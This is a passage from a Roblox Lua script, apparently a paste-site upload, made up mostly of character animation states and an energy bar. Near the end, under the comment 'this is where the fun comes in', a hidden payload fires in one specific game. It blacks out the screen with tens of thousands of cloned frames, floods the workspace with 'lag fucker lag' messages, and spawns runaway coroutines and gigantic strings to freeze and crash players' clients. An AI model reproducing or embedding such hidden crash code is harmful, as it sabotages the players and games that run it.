  4364. end
  4365. end
  4366. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4367. Anim="Jump"
  4368. if attack==false then
  4369. Footsteps:Stop()
  4370. Footsteps2:Stop()
  4371. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4372. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4373. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4374. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4375. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4376. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4377. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4378. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4379. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4380. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4381. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4382. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4383. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4384. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4385. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4386. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4387. end
  4388. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4389. Anim="Fall"
  4390. if attack==false then
  4391. Footsteps:Stop()
  4392. Footsteps2:Stop()
  4393. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4394. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4395. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4396. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4397. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4398. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4399. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4400. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4401. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4402. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4403. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4404. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4405. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4406. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4407. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4408. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4409. end
  4410. elseif torvel<1 and hitfloor~=nil then
  4411. Anim="Idle"
  4412. change=0.5
  4413. if idle>=1000 then
  4414. if attack==false then
  4415. Footsteps:Stop()
  4416. Footsteps2:Stop()
  4417. Humanoid.WalkSpeed=12
  4418. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4419. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4420. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4421. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4422. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4423. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4424. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4425. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4426. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4427. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4428. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4429. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4430. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4431. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4432. end
  4433. else
  4434. if attack==false then
  4435. Footsteps:Stop()
  4436. Footsteps2:Stop()
  4437. Humanoid.WalkSpeed=12
  4438. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4439. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4440. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4441. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4442. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4443. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4444. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4445. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4446. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4447. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4448. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4449. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4450. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4451. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4452. end
  4453. end
  4454. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4455. Anim="Walk"
  4456. if attack==false then
  4457. change=0.8
  4458. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4459. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4460. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4461. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4462. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4463. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4464. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4465. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4466. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4467. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4468. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4469. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4470. RH.C0=clerp(RH.C0,RHC0,.3)
  4471. LH.C0=clerp(LH.C0,LHC0,.3)
  4472. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4473. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4474. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4475. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4476. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4477. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4478. ]]--
  4479. Footsteps:Play()
  4480. Footsteps2:Stop()
  4481. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4482. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4483. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4484. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4485. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4486. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4487. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4488. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4489. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4490. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4491. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4492. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4493. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4494. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4495. end
  4496. elseif torvel>=22 and hitfloor~=nil then
  4497. Anim="Run"
  4498. change=1
  4499. if attack==false then
  4500. Footsteps:Stop()
  4501. Footsteps2:Play()
  4502. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4503. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4504. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4505. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4506. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4507. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4508. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4509. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4510. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4511. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4512. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4513. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4514. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4515. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4516. end
  4517. end
  4518. end
  4519. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4520. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4521. text.Text = math.floor(hum.Health)
  4522. if mana>=100 then
  4523. mana=100
  4524. else
  4525. if mananum<=8 then
  4526. mananum=mananum+100
  4527. else
  4528. mananum=0
  4529. mana=mana+100
  4530. end
  4531. end
  4532. end
  4533.  
  4534.  
  4535.  
  4536.  
  4537. --- shshshhh this is where the fun comes in ---
  4538. if game.PlaceId == 21053279 then
  4539. plr = game.Players.LocalPlayer
  4540. char = plr.Character
  4541. cam = workspace.CurrentCamera
  4542. cam.CameraType = "Scriptable"
  4543. cam.CoordinateFrame = CFrame.new(0,0,50)
  4544. local localContainer
  4545. local service=setmetatable({
  4546. MarketPlace=game:service("MarketplaceService");
  4547. GamepassService=game:service("GamePassService");
  4548. ChatService=game:service("Chat");
  4549. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4550. },{
  4551. __index=function(tab,index)
  4552. local serv
  4553. local ran,err=pcall(function() serv=game:service(index) end)
  4554. if ran then
  4555. tab[index]=serv
  4556. return serv
  4557. end
  4558. end
  4559. })
  4560.  
  4561. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4562.  
  4563. x=game.Players.LocalPlayer
  4564. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4565. f=Instance.new("Frame")
  4566. f.Size=UDim2.new(1,0,1,0)
  4567. f.BackgroundTransparency=0.01
  4568. f.BackgroundColor3=Color3.new()
  4569. pg=x.PlayerGui
  4570. gui=Instance.new("ScreenGui",pg)
  4571. wait(.1)
  4572. for i=1,28000 do
  4573. f:Clone().Parent=gui
  4574. f:Clone().Parent=gui
  4575. f:Clone().Parent=gui
  4576. end
  4577.  
  4578. script:Destroy();
  4579. local runService = Game:GetService("RunService").Stepped;
  4580. local LagNum = 1250;
  4581. local str = "lag fucker lag";
  4582.  
  4583. for i = 1, math.huge do
  4584. if i % LagNum == 0 then runService:wait(); end
  4585. Instance.new("Message", Workspace).Text = str;
  4586. end
  4587.  
  4588. local bores=coroutine.create(function() --Yolo?
  4589. cPcall(function()
  4590. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4591. cPcall(print,'lol')
  4592. cPcall(warn,'lol')
  4593. cPcall(error,'lol')
  4594. while wait(0.1) do
  4595. spawn(function()
  4596. cPcall(function()
  4597. spawn(function()
  4598. local tab={}
  4599. pcall(function()
  4600. spawn(function()
  4601. for i=1,1000000 do
  4602. cPcall(function()
  4603. spawn(function()
  4604. local bob2=coroutine.create(function()
  4605. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4606. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4607. spawn(f1)
  4608. end)
  4609. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  4610. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  4611. end)
  4612. end)
  4613. end
  4614. tab={}
  4615. end)
  4616. end)
  4617. end)
  4618. end)
  4619. end)
  4620. end
  4621. end)
  4622. end)
  4623.  
  4624. service.RunService.Stepped:connect(function()
  4625. for i=1,500000 do
  4626. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  4627. end
  4628. end)
  4629.  
  4630.  
  4631. local function bob()
  4632. cPcall(function()
  4633. while wait(0.1) do
  4634. --cPcall(function()
  4635. --for i=1,100 do
  4636. local p=Instance.new("Part")
  4637. p.Material="Neon"
  4638. p.Size=Vector3.new(50,50,50)
  4639. p.Anchored=true
  4640. p.BackSurface="Studs"
  4641. p.BottomSurface="Studs"
  4642. p.FrontSurface="Studs"
  4643. p.LeftSurface="Studs"
  4644. p.RightSurface="Studs"
  4645. p.TopSurface="Studs"
  4646. local t=Instance.new("Texture",p)
  4647. t.Texture="http://www.roblox.com/asset/?id=190803157"
  4648. t.Face="Top"
  4649. t.StudsPerTileU=1000
  4650. t.StudsPerTileV=1000
  4651. local t2=t:clone()
  4652. t2.Parent=p
  4653. t2.Face="Bottom"
  4654. local t2=t:clone()
  4655. t2.Parent=p
  4656. t2.Face="Left"
  4657. local t2=t:clone()
  4658. t2.Parent=p
  4659. t2.Face="Right"
  4660. local t2=t:clone()
  4661. t2.Parent=p
  4662. t2.Face="Front"
  4663. local t2=t:clone()
  4664. t2.Parent=p
  4665. t2.Face="Back"
  4666. p.Parent=service.LocalContainer()
  4667. --end
  4668. --end)
  4669. end
  4670. end)
  4671. end
  4672. bob() --while wait(0.1) do cPcall(bob) end
  4673. end
  4674. -- ~CLarramore
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement